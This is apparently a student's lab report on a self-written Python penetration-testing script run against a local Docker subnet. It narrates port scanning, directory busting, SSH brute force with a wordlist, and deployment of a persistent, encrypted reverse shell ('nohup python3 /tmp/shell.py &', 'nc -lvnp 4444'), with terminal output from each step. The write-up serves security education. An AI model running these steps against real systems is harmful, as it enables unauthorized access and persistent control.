SCRIPT FOR ATTACK AUTOMATION

BY : ABHISHEK BOMMISETTY

OBJECTIVE

This Python script is a full toolkit for running penetration tests. It can do a wide range of tasks like scanning a network, guessing passwords, checking which services are running, and handling files. It also includes methods to encrypt communications, open network connections using sockets, send HTTP requests, and work with SSH connections.

CODE REVIEW

Argument Parsing: The script uses the argparse library to take inputs from the user at the command line, like which IP address to target, which ports to scan, and which username and password lists to use. This makes the tool easy to reuse for different tasks and targets.

Network Connectivity and Scanning:

It can send a ‘ping’ to check if the computer you’re targeting is even online, and then it goes through a list of ports to see which ones are open. It does this by trying to connect to each port and noting which ones respond.

Service Confirmation

After finding open ports, it checks if these ports are running certain services, like SSH on port 22 or a web server on port 80.

Web and SSH Attacks

The tool tries to find hidden web pages on a target’s website (like login.php or admin.php). It can also try different usernames and passwords to break into web login forms. Similarly, it uses paramiko to guess SSH login credentials so it can get direct access to the machine.

Interactive Shell and Persistent Reverse Shell

Once it gains a foothold, it lets you run commands on the target machine remotely and sets up a ‘reverse shell’ that keeps trying to reconnect to your system if the

connection gets lost. This makes sure you maintain access even if the network is unstable.

Key Functional Observations and Findings

Reverse Shell

The reverse shell() part of the code sets up a continuous link back to your computer from the target. If it loses the connection, it tries again every few seconds. That way you always have a way to send commands, gather system details, list files, and even grab files from the target system.

Brute-Force Attacks

For passwords, the tool tries a bunch of different guesses from a list you provide. On the web side, it evaluates all those passwords against a login form. For SSH, it uses paramiko to try each password until it finds one that works. If it succeeds, you will have a direct SSH session on the target machine.

Encryption and Decryption

Integrates cryptography to encrypt and decrypt data between the client (victim) and the server (attacker). Ensures that transmitted commands and data are not easily readable by network monitoring tools."

OUTPUTS

NMAP

```
┌──(kali㉿abhishek)-[~/Desktop/assignment_2_environment]
└─$ nmap 172.17.0.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-06 08:05 EST
Nmap scan report for 172.17.0.1
Host is up (0.00049s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for 172.17.0.2
Host is up (0.00057s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for 172.17.0.3
Host is up (0.00052s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for 172.17.0.4
Host is up (0.00047s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap scan report for 172.17.0.5
Host is up (0.00045s latency).
All 1000 scanned ports on 172.17.0.5 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 172.17.0.6
Host is up (0.00051s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 256 IP addresses (6 hosts up) scanned in 9.85 seconds
```

Nmap scanned **256 IP addresses** in the subnet and found **6 live hosts**.

The open ports (22, 80, 8080) gives us a clear attack surface. **Port 22** is especially important because it allows brute-forcing SSH credentials, while **port 80** enables web-based attacks like directory busting or brute-forcing login forms.

```
┌──(kali㉿abhishek)-[~/Desktop]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
```

Netcat is being used to wait for a reverse shell connection.
We are using Netcat as a “listener.” When the target machine runs the reverse shell, it will try to connect back to this system on port 4444 and Netcat will catch that connection allowing us to control the target.

Port 4444 is commonly used for reverse shells because it is often allowed in networks not specifically protected against **outbound connections.**
The reason for choosing port 4444 is that many **firewalls** do not block it by default. It is a convenient **“open door”** that often is not locked down making it a popular choice for this type of work.

This output suggests that the environment is ready to receive a connection from the victim machine.

DIRECTORY BUSTING

```
┌──(kali㉿abhishek)-[~]
└─$ sudo python3 net_attack.py -t 172.17.0.2 -p 80 -u admin -l /usr/share/wordlists/rockyou.txt

Scanning 172.17.0.2 ...
Open ports on 172.17.0.2: ['80']
HTTP service confirmed on 172.17.0.2:80
Found pages on 172.17.0.2: ['http://172.17.0.2/login.php']
```

The script identified login.php on the web server running at **port 80**.

Discovering web forms is critical for further attacks, such **as credential stuffing or SQL injection.**

Directory Busting:

The script performs directory busting on port 80 using a list of common directories (login.php, etc.). The tool now checks the web server (on port 80) for hidden or interesting pages. It tries known filenames (like login.php) to see if any exist.

The output shows: Found page: login.php
Found form on login.php

It discovers a page named login.php that loads in the browser, and it also detects that there's a form on that page.

This suggests that **login.php** is accessible and has an input form which can be exploited further (e.g., for brute-forcing credentials). With a discovered login form we have a new avenue for attack. For example, we could try another brute-force attack directly on that webpage's login form if we want to.

```
┌──(kali㉿abhishek)-[~/Desktop]
└─$ sudo python3 net_attack.py -t 172.17.0.2 -p 22,80,4444 -u admin -l rockyou.txt
[+] Checking connectivity to 172.17.0.2 ...
[+] Target is reachable.
[+] Scanning ports on 172.17.0.2 ...
Port 22: Open
Port 80: Open
Port 4444: Closed
[+] Trying admin:123456 ...
[-] Invalid credentials.
[+] Trying admin:12345 ...
[-] Invalid credentials.
[+] Trying admin:123456789 ...
[-] Invalid credentials.
[+] Trying admin:password ...
[-] Invalid credentials.
[+] Trying admin:iloveyou ...
[-] Invalid credentials.
```

```
[-] SSH Error: Error reading SSH protocol banner
[+] Trying admin:jordan ...
[-] Invalid credentials.
[+] Trying admin:liverpool ...
[+] SSH Login Successful: admin:liverpool
Do you want to open a shell (y) or deploy a persistent reverse shell (p)? p
[+] Deploying persistent reverse shell ...
[+] Persistent reverse shell initiated.
[+] Performing directory busting on 172.17.0.2:80 ...
[+] Found page: login.php
[+] Found form on login.php

┌──(kali㉿abhishek)-[~/Desktop]
```

We have run the **net_attack.py** tool with certain options against a target machine.

Command Execution:

"sudo python3 net_attack.py -t 172.17.0.2 -p 22,80,4444 -u admin -l rockyou.txt"

We are telling the script to run with administrator privileges (sudo) and use Python 3 to start the net_attack.py script. We provide:

-t 172.17.0.2: The target IP address to attack.

-p 22,80,4444: The ports to check (22 for SSH, 80 for a web server, and 4444 for a potential backdoor).

-u admin: The username "admin" for attempts to log in.

-l rockyou.txt: A file called rockyou.txt that contains a list of passwords to try during the brute-force attack.

Target Connectivity Check:

The script verifies that 172.17.0.2 is reachable using ping. The output confirms: Target is reachable. The tool starts by making sure the target machine is actually online and responding. It sends a ping and gets a reply, so we know the target is up and running.

Brute Force Attack on SSH:

"The script uses the username admin and the password list rockyou.txt to attempt SSH login."
The script tries to guess the right password for the "admin" account on the SSH service by going through the many passwords in rockyou.txt.

"Several credentials fail (123456, password, etc.) until:"
It goes through common passwords that don't work.

"SSH Login Successful: admin: liverpool"
Eventually, it finds that the password **"liverpool"** works. This means we have successfully broken into the target's SSH account with the given username and password.

Persistent Reverse Shell:

After gaining SSH access, the script deploys a persistent reverse shell using:
nohup python3 /tmp/shell.py &
Once inside, the script sets up a reverse shell so that the victim's machine automatically connects back to the attacker. Running it with **nohup and &** makes sure it keeps running in the background even if the user logs out.

The reverse shell script shell.py is uploaded to the victim machine and executed. The script transfers a small **Python program (shell.py)** onto the victim computer and runs it there.

```
┌──(kali㉿abhishek)-[~/Desktop]
└─$ python3 shell1.py
[*] Attempting to connect to attacker...
[+] Connection established with attacker.
[*] Attempting to connect to attacker...
[*] Connection failed: [Errno 111] Connection refused. Retrying in 5 seconds...
[*] Attempting to connect to attacker...
[+] Connection established with attacker.
```

"The output indicates: Persistent reverse shell initiated."
We now have a stable backdoor into the victim machine. If we lose connection, the shell will try to reconnect. We have a script named **shell.py** running on the victim's machine.

Connection Attempts:

The script continuously attempts to connect back to the attacker on port 4444. The victim's machine is repeatedly trying to reach the attacker's computer at port 4444 until it succeeds. The connection is initially refused indicating the listener wasn't ready or there were temporary issues.

Successful Connection:

Once the listener is ready the reverse shell successfully connects. As soon as the attacker's system starts listening for connections the victim's machine manages to connect back.

"The output confirms: Connection established with attacker."
We have a clear message showing the connection is now active between the victim and the attacker.

```
┌──(kali㉿abhishek)-[~/Desktop]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [192.168.0.41] 55726
gAAAAABnU2vZkg0_ZFYl-h9LxYpCqDHeEiMPI8jzBCcXL1bORtf5zJMJxFvVm50sNVJPYfEZeNjn3xQYNoW5Jj8m2FMmYQls-rAKC3cL2o1HwKLJimAlIC4=
```

The outputs show **successful reverse shell connections** from the target machine to your listener (Netcat).

The changing ports are due to the target machine using dynamic ephemeral ports during reconnections.

The strings represent encrypted communication, which Netcat cannot decrypt. The script uses encryption (e.g., cryptography.fernet), so all messages, including commands and responses, are **encrypted before being sent** and **decrypted** on the receiving end.

Viewing a meaningful output, a decryption script matching the encryption method in **shell.py** is required. Hence, we used it.

Encrypted Communication:

The Encrypted data is sent over the connection all the data traveling between victim and attacker is scrambled making it hard for anyone else to understand if they are eavesdropping.

"This aligns with the shell.py script's encryption function, which uses the Fernet module for secure message exchange."
The script specifically uses the Fernet encryption tool to make sure all messages are kept secret and protected.

Persistent Reverse Shell:

The shell reconnects even after a failure as indicated by retry messages.
If the connection ever drops, the victim's machine does not give up. It keeps trying to reconnect showing messages that it is making another attempt.

This ensures the attacker maintains long-term access to the victim machine because it continuously tries to connect the attacker can rely on having an ongoing or repeated chance to get back in providing long-term control of the victim's system.

SUMMARY OF THE EXECUTION AND OUTPUT

We confirmed the target is reachable, found open SSH access, cracked an SSH password, set up a permanent backdoor connection, and discovered a potentially useful login page on the target's website.

When it finds open ports, it might say Port 22: Open or Port 80: Open.

If it sees SSH or HTTP running, it could report SSH is running on port 22 or HTTP service detected on port 80.

If it locates a hidden page, you might see Found page: login.php or discover a login form with Found form on page: admin.php.

If a brute-force attempt succeeds, it may print something like **SSH Login Successful: admin:liverpool**

PROBLEMS FACED

- **Missing colons** after a function defination control statement
- This script involved using several Python libraries like paramiko, requests, socket, and cryptography.

- The SSH brute-force script used the paramiko library to evaluate credentials from a wordlist. A common challenge is **not managing exceptions properly.**

RECTIFICATION:

- I Used Specific exceptions such **paramiko.AuthenticationException**

- **Script timing**: Netcat listener was not ready when the shell script attempted to connect.
- For the directory busting section, the script used the requests library to find web pages. A common challenge was managing **timeout errors** or misformatted URLs.

RECTIFICATION

- Catch exceptions using the requests.exceptions

- I also faced errors in cryptography such as
- **1.Incorrect Decryption Order**
- **Error: Invalid Token or unexpected output.**
- **2.Key Format Issues**
- **Value Error: Fernet key must be 32 url-safe base64-encoded bytes.**

DAY	CHANGES MADE	REASON
24-11-2024	**installed necessary libraries like paramiko, requests, and cryptography. Started writin the argument parser using** **argparse.**	**Ensure all required libraries were available for scripting functionality.**

24-11-2024	**Implemented SSH confirmation function using banner grabbing.**	**recv buffer size too small for some banners.**
29-11-2024	**Paramiko's AuthenticationException was unhandled. reverse shell deployment using SFTP to upload shell.pyReverse shell was failing to connect.**	**Input/output deadlock when commands returned large outputs** **Reverse shell was failing to connect**
3-12-2024	**Some code compilation errors and missing functions and their indentation.**	**timeout errors**
4-12-2024	**HTTP confirmation function using requests.get() to check port 80.**	**Network error due to invalid URL syntax.**
5-12-2024	**Incorrect Decryption Order**	**Invalid Token or unexpected output.**
6-12-2024	**Main function errors**	**Logical bug in conditional checks for SSH and HTTP**

SUMMARY

In short, this Python code is a powerful tool for running penetration tests from start to finish. It covers finding targets, guessing passwords, exploring available services, and even maintaining a lasting connection to the target machine. It's well put-together, but there's room for improvement like making things more customizable, improving the password guessing part and offering more options to find hidden directories.

REFERENCES

https://docs.python.org/3/library/time.html **- time module**

https://www.geeksforgeeks.org/fernet-symmetric-encryption-using-cryptography-module-in-python/ - **Fernet (symmetric encryption) using Cryptography module in Python.**

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet - **Reverse Shell Cheat Sheet**

https://www.linode.com/docs/guides/use-paramiko-python-to-ssh-into-a-server/ -**Use Paramiko and Python to SSH into a Server**